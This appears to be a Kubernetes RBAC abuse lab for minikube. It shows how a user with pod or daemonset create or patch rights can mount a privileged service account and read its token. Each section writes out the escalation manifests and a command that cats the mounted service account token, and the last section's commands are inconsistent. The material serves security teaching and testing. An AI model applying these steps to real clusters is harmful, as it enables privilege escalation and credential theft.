K8s Roles Abuse Lab

You can run these labs just inside minikube.

Pod Creation -> Escalate to ns SAs

We are going to create:

A Service account "test-sa" with a cluster privilege to read secrets
- A ClusterRole "test-cr" and a ClusterRoleBinding "test-crb" will be created
Permissions to list and create pods to a user called "Test" will be given
- A Role "test-r" and RoleBinding "test-rb" will be created
Then we will confirm that the SA can list secrets and that the user Test can list a pods
Finally we will impersonate the user Test to create a pod that includes the SA test-sa and steal the service account token.
- This is the way yo show the user could escalate privileges this way

{% hint style="info" %} To create the scenario an admin account is used.
Moreover, to exfiltrate the sa token in this example the admin account is used to exec inside the created pod. However, as explained here, the declaration of the pod could contain the exfiltration of the token, so the "exec" privilege is not necesario to exfiltrate the token, the "create" permission is enough. {% endhint %}

# Create Service Account test-sa
# Create role and rolebinding to give list and create permissions over pods in default namespace to user Test
# Create clusterrole and clusterrolebinding to give the SA test-sa access to secrets everywhere

echo 'apiVersion: v1
kind: ServiceAccount
metadata:
  name: test-sa
---
kind: Role
apiVersion: rbac.authorization.k8s.io/v1
metadata:
  name: test-r
rules:
  - apiGroups: [""]
    resources: ["pods"]
    verbs: ["get", "list", "delete", "patch", "create"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
  name: test-rb
subjects:
  - kind: ServiceAccount
    name: test-sa
  - kind: User
    name: Test
roleRef:
  kind: Role
  name: test-r
  apiGroup: rbac.authorization.k8s.io
---
kind: ClusterRole
apiVersion: rbac.authorization.k8s.io/v1
metadata:
  name: test-cr
rules:
  - apiGroups: [""]
    resources: ["secrets"]
    verbs: ["get", "list", "delete", "patch", "create"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
  name: test-crb
subjects:
  - kind: ServiceAccount
    namespace: default
    name: test-sa
    apiGroup: ""
roleRef:
  kind: ClusterRole
  name: test-cr
  apiGroup: rbac.authorization.k8s.io' | kubectl apply -f -

# Check test-sa can access kube-system secrets
kubectl --as system:serviceaccount:default:test-sa -n kube-system get secrets

# Check user User can get pods in namespace default
kubectl --as Test -n default get pods

# Create a pod as user Test with the SA test-sa (privesc step)
echo "apiVersion: v1
kind: Pod
metadata:
  name: test-pod
  namespace: default
spec:
  containers:
  - name: alpine
    image: alpine
    command: ['/bin/sh']
    args: ['-c', 'sleep 100000']
  serviceAccountName: test-sa
  automountServiceAccountToken: true
  hostNetwork: true"| kubectl --as Test apply -f -

# Connect to the pod created an confirm the attached SA token belongs to test-sa
kubectl exec -ti -n default test-pod -- cat /var/run/secrets/kubernetes.io/serviceaccount/token | cut -d "." -f2 | base64 -d

# Clean the scenario
kubectl delete pod test-pod
kubectl delete clusterrolebinding test-crb
kubectl delete clusterrole test-cr
kubectl delete rolebinding test-rb
kubectl delete role test-r
kubectl delete serviceaccount test-sa

Create Daemonset

# Create Service Account test-sa
# Create role and rolebinding to give list & create permissions over daemonsets in default namespace to user Test
# Create clusterrole and clusterrolebinding to give the SA test-sa access to secrets everywhere

echo 'apiVersion: v1
kind: ServiceAccount
metadata:
  name: test-sa
---
kind: Role
apiVersion: rbac.authorization.k8s.io/v1
metadata:
  name: test-r
rules:
  - apiGroups: ["apps"]
    resources: ["daemonsets"]
    verbs: ["get", "list", "create"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
  name: test-rb
subjects:
  - kind: User
    name: Test
roleRef:
  kind: Role
  name: test-r
  apiGroup: rbac.authorization.k8s.io
---
kind: ClusterRole
apiVersion: rbac.authorization.k8s.io/v1
metadata:
  name: test-cr
rules:
  - apiGroups: [""]
    resources: ["secrets"]
    verbs: ["get", "list", "delete", "patch", "create"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
  name: test-crb
subjects:
  - kind: ServiceAccount
    namespace: default
    name: test-sa
    apiGroup: ""
roleRef:
  kind: ClusterRole
  name: test-cr
  apiGroup: rbac.authorization.k8s.io' | kubectl apply -f -

# Check test-sa can access kube-system secrets
kubectl --as system:serviceaccount:default:test-sa -n kube-system get secrets

# Check user User can get pods in namespace default
kubectl --as Test -n default get daemonsets

# Create a daemonset as user Test with the SA test-sa (privesc step)
echo "apiVersion: apps/v1
kind: DaemonSet
metadata:
  name: alpine
  namespace: default
spec:
  selector:
    matchLabels:
      name: alpine
  template:
    metadata:
      labels:
        name: alpine
    spec:
      serviceAccountName: test-sa
      automountServiceAccountToken: true
      hostNetwork: true
      containers:
      - name: alpine
        image: alpine
        command: ['/bin/sh']
        args: ['-c', 'sleep 100000']"| kubectl --as Test apply -f -

# Connect to the pod created an confirm the attached SA token belongs to test-sa
kubectl exec -ti -n default daemonset.apps/alpine -- cat /var/run/secrets/kubernetes.io/serviceaccount/token | cut -d "." -f2 | base64 -d

# Clean the scenario
kubectl delete daemonset alpine
kubectl delete clusterrolebinding test-crb
kubectl delete clusterrole test-cr
kubectl delete rolebinding test-rb
kubectl delete role test-r
kubectl delete serviceaccount test-sa

Patch Daemonset

In this case we are going to patch a daemonset to make its pod load our desired service account.

If your user has the verb update instead of patch, this won't work.

# Create Service Account test-sa
# Create role and rolebinding to give list & update patch permissions over daemonsets in default namespace to user Test
# Create clusterrole and clusterrolebinding to give the SA test-sa access to secrets everywhere

echo 'apiVersion: v1
kind: ServiceAccount
metadata:
  name: test-sa
---
kind: Role
apiVersion: rbac.authorization.k8s.io/v1
metadata:
  name: test-r
rules:
  - apiGroups: ["apps"]
    resources: ["daemonsets"]
    verbs: ["get", "list", "patch"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
  name: test-rb
subjects:
  - kind: User
    name: Test
roleRef:
  kind: Role
  name: test-r
  apiGroup: rbac.authorization.k8s.io
---
kind: ClusterRole
apiVersion: rbac.authorization.k8s.io/v1
metadata:
  name: test-cr
rules:
  - apiGroups: [""]
    resources: ["secrets"]
    verbs: ["get", "list", "delete", "patch", "create"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
  name: test-crb
subjects:
  - kind: ServiceAccount
    namespace: default
    name: test-sa
    apiGroup: ""
roleRef:
  kind: ClusterRole
  name: test-cr
  apiGroup: rbac.authorization.k8s.io
---
apiVersion: apps/v1
kind: DaemonSet
metadata:
  name: alpine
  namespace: default
spec:
  selector:
    matchLabels:
      name: alpine
  template:
    metadata:
      labels:
        name: alpine
    spec:
      automountServiceAccountToken: false
      hostNetwork: true
      containers:
      - name: alpine
        image: alpine
        command: ['/bin/sh']
        args: ['-c', 'sleep 100']' | kubectl apply -f -

# Check user User can get pods in namespace default
kubectl --as Test -n default get daemonsets

# Create a daemonset as user Test with the SA test-sa (privesc step)
echo "apiVersion: apps/v1
kind: DaemonSet
metadata:
  name: alpine
  namespace: default
spec:
  selector:
    matchLabels:
      name: alpine
  template:
    metadata:
      labels:
        name: alpine
    spec:
      serviceAccountName: test-sa
      automountServiceAccountToken: true
      hostNetwork: true
      containers:
      - name: alpine
        image: alpine
        command: ['/bin/sh']
        args: ['-c', 'sleep 100000']"| kubectl --as Test apply -f -

# Connect to the pod created an confirm the attached SA token belongs to test-sa
kubectl exec -ti -n default daemonset.apps/alpine -- cat /var/run/secrets/kubernetes.io/serviceaccount/token | cut -d "." -f2 | base64 -d

# Clean the scenario
kubectl delete daemonset alpine
kubectl delete clusterrolebinding test-crb
kubectl delete clusterrole test-cr
kubectl delete rolebinding test-rb
kubectl delete role test-r
kubectl delete serviceaccount test-sa

Not work - Create/Patch Bindings

Doesn't work:

Create a new RoleBinding just with the verb create
Create a new RoleBinding just with the verb patch (you need to have the binding permissions)
- You cannot do this to assign the role to yourself or to a different SA
Modify a new RoleBinding just with the verb patch (you need to have the binding permissions)
- You cannot do this to assign the role to yourself or to a different SA

echo 'apiVersion: v1
kind: ServiceAccount
metadata:
  name: test-sa
---
apiVersion: v1
kind: ServiceAccount
metadata:
  name: test-sa2
---
kind: Role
apiVersion: rbac.authorization.k8s.io/v1
metadata:
  name: test-r
rules:
  - apiGroups: ["rbac.authorization.k8s.io"]
    resources: ["rolebindings"]
    verbs: ["get", "patch"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
  name: test-rb
subjects:
  - kind: User
    name: Test
roleRef:
  kind: Role
  name: test-r
  apiGroup: rbac.authorization.k8s.io
---
kind: Role
apiVersion: rbac.authorization.k8s.io/v1
metadata:
  name: test-r2
rules:
  - apiGroups: [""]
    resources: ["pods"]
    verbs: ["get", "list", "delete", "patch", "create"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
  name: test-rb2
subjects:
  - kind: ServiceAccount
    name: test-sa
    apiGroup: ""
roleRef:
  kind: Role
  name: test-r2
  apiGroup: rbac.authorization.k8s.io' | kubectl apply -f -

# Create a pod as user Test with the SA test-sa (privesc step)
echo "apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
  name: test-r2
subjects:
  - kind: ServiceAccount
    name: test-sa2
    apiGroup: ""
roleRef:
  kind: Role
  name: test-r2
  apiGroup: rbac.authorization.k8s.io"| kubectl --as Test apply -f -

# Connect to the pod created an confirm the attached SA token belongs to test-sa
kubectl exec -ti -n default test-pod -- cat /var/run/secrets/kubernetes.io/serviceaccount/token | cut -d "." -f2 | base64 -d

# Clean the scenario
kubectl delete rolebinding test-rb
kubectl delete rolebinding test-rb2
kubectl delete role test-r
kubectl delete role test-r2
kubectl delete serviceaccount test-sa
kubectl delete serviceaccount test-sa2

11 KiB Raw Blame History

K8s Roles Abuse Lab

Pod Creation -> Escalate to ns SAs

Create Daemonset

Patch Daemonset

Not work - Create/Patch Bindings

11 KiB

Raw Blame History